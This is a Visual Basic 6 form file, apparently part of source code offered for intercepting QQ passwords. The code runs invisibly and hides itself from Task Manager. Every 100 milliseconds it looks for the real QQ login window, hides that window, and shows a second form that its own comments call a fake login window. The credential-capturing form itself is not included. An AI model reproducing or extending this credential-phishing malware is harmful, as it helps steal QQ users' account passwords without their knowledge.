form1.frm

QQ password interception VB source code browser

VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   3090
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
   Visible         =   0   'False
   Begin VB.Timer Timer1 
      Interval        =   100
      Left            =   1800
      Top             =   1320
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const SW_HIDE = 0 '0为隐藏
Private Const SW_SHOW = 5

Private Sub Form_Load()
App.TaskVisible = False '任务管理器隐藏
End Sub

Private Sub Timer1_Timer()
Dim ma As Long
If FindWindow(vbNullString, "QQ用户登录") <> 0 Then '如果发现就隐藏它
ma = FindWindow(vbNullString, "QQ用户登录")
Call ShowWindow(ma, 0)
Form1.Hide '隐藏
Form2.Show '弹出假的登陆窗口
End If
End Sub

'这些代码我就不多说了，就是隐藏真登陆窗口，然后弹出假的